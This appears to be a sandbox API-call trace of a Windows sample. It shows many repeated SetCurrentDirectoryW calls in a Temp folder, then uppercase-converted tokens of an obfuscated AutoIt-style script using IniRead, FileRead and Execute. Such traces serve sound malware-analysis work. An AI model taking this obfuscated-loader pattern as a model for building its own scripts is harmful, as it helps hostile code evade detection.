"c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.004] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.004] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.005] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.005] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.005] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.005] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.006] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.006] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.006] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.006] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.006] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.007] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.007] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.007] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.007] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.008] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.008] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.008] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.008] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.008] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.008] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.009] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.009] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.009] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.009] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.009] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.009] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.010] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.010] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.010] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.010] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.010] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.011] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.011] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.011] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.011] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.011] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.011] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.012] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.012] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.012] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.012] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.012] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.012] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.013] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.013] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.013] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.013] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.013] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.013] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.014] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.014] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.014] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.014] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.014] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.014] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.015] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.015] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.015] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.015] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.015] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.016] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.016] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.016] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.016] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.016] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.016] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.017] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.017] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.017] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.017] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.017] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.017] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.018] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.018] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.018] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.018] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.018] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.018] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.019] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.019] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.019] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.019] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.020] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.020] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.020] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.020] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.020] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.021] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.021] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.021] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.021] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.021] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.022] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.022] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.022] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.022] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.022] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.022] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.023] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.023] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.023] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.023] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.023] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.023] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.024] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.024] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.024] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.024] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.024] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.024] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.025] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.025] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.025] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.025] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.025] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.025] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.026] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.026] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.026] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.026] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.026] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.026] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0077.946] CharUpperBuffW (in: lpsz="B63", cchLength=0x3 | out: lpsz="B63") returned 0x3 [0077.946] CharUpperBuffW (in: lpsz="xAzQ", cchLength=0x4 | out: lpsz="XAZQ") returned 0x4 [0077.946] CharUpperBuffW (in: lpsz="If", cchLength=0x2 | out: lpsz="IF") returned 0x2 [0077.946] CharUpperBuffW (in: lpsz="_S0fza737C68F", cchLength=0xd | out: lpsz="_S0FZA737C68F") returned 0xd [0077.947] CharUpperBuffW (in: lpsz="xAzQ", cchLength=0x4 | out: lpsz="XAZQ") returned 0x4 [0077.947] CharUpperBuffW (in: lpsz="Then", cchLength=0x4 | out: lpsz="THEN") returned 0x4 [0077.947] CharUpperBuffW (in: lpsz="Execute", cchLength=0x7 | out: lpsz="EXECUTE") returned 0x7 [0077.947] CharUpperBuffW (in: lpsz="EndIf", cchLength=0x5 | out: lpsz="ENDIF") returned 0x5 [0077.947] CharUpperBuffW (in: lpsz="6D8EA5A7B18BA8E68E5", cchLength=0x13 | out: lpsz="6D8EA5A7B18BA8E68E5") returned 0x13 [0077.947] CharUpperBuffW (in: lpsz="ScriptDir", cchLength=0x9 | out: lpsz="SCRIPTDIR") returned 0x9 [0077.947] CharUpperBuffW (in: lpsz="B63", cchLength=0x3 | out: lpsz="B63") returned 0x3 [0077.947] CharUpperBuffW (in: lpsz="989BD8DF7434150DDDCC4E3AF84571E3", cchLength=0x20 | out: lpsz="989BD8DF7434150DDDCC4E3AF84571E3") returned 0x20 [0077.947] CharUpperBuffW (in: lpsz="IniRead", cchLength=0x7 | out: lpsz="INIREAD") returned 0x7 [0077.948] CharUpperBuffW (in: lpsz="6D8EA5A7B18BA8E68E5", cchLength=0x13 | out: lpsz="6D8EA5A7B18BA8E68E5") returned 0x13 [0077.948] CharUpperBuffW (in: lpsz="A004D8DBA8473C461465D68FAC70F8A3", cchLength=0x20 | out: lpsz="A004D8DBA8473C461465D68FAC70F8A3") returned 0x20 [0077.948] CharUpperBuffW (in: lpsz="IniRead", cchLength=0x7 | out: lpsz="INIREAD") returned 0x7 [0077.948] CharUpperBuffW (in: lpsz="ScriptDir", cchLength=0x9 | out: lpsz="SCRIPTDIR") returned 0x9 [0077.948] CharUpperBuffW (in: lpsz="B63", cchLength=0x3 | out: lpsz="B63") returned 0x3 [0077.948] CharUpperBuffW (in: lpsz="669140C254038420C265AA1347100276", cchLength=0x20 | out: lpsz="669140C254038420C265AA1347100276") returned 0x20 [0077.948] CharUpperBuffW (in: lpsz="IniRead", cchLength=0x7 | out: lpsz="INIREAD") returned 0x7 [0077.948] CharUpperBuffW (in: lpsz="ScriptDir", cchLength=0x9 | out: lpsz="SCRIPTDIR") returned 0x9 [0077.948] CharUpperBuffW (in: lpsz="B63", cchLength=0x3 | out: lpsz="B63") returned 0x3 [0077.948] CharUpperBuffW (in: lpsz="If", cchLength=0x2 | out: lpsz="IF") returned 0x2 [0077.948] CharUpperBuffW (in: lpsz="A004D8DBA8473C461465D68FAC70F8A3", cchLength=0x20 | out: lpsz="A004D8DBA8473C461465D68FAC70F8A3") returned 0x20 [0077.949] CharUpperBuffW (in: lpsz="Or", cchLength=0x2 | out: lpsz="OR") returned 0x2 [0077.949] CharUpperBuffW (in: lpsz="669140C254038420C265AA1347100276", cchLength=0x20 | out: lpsz="669140C254038420C265AA1347100276") returned 0x20 [0077.949] CharUpperBuffW (in: lpsz="Then", cchLength=0x4 | out: lpsz="THEN") returned 0x4 [0077.949] CharUpperBuffW (in: lpsz="Exit", cchLength=0x4 | out: lpsz="EXIT") returned 0x4 [0077.949] CharUpperBuffW (in: lpsz="DC5F9E4C7C7486F444A04A1438F53349", cchLength=0x20 | out: lpsz="DC5F9E4C7C7486F444A04A1438F53349") returned 0x20 [0077.949] CharUpperBuffW (in: lpsz="FileRead", cchLength=0x8 | out: lpsz="FILEREAD") returned 0x8 [0077.949] CharUpperBuffW (in: lpsz="ScriptDir", cchLength=0x9 | out: lpsz="SCRIPTDIR") returned 0x9 [0077.949] CharUpperBuffW (in: lpsz="B63", cchLength=0x3 | out: lpsz="B63") returned 0x3 [0077.949] CharUpperBuffW (in: lpsz="FA39CF41CED8EB2810F4476D567D84F0", cchLength=0x20 | out: lpsz="FA39CF41CED8EB2810F4476D567D84F0") returned 0x20 [0077.949] 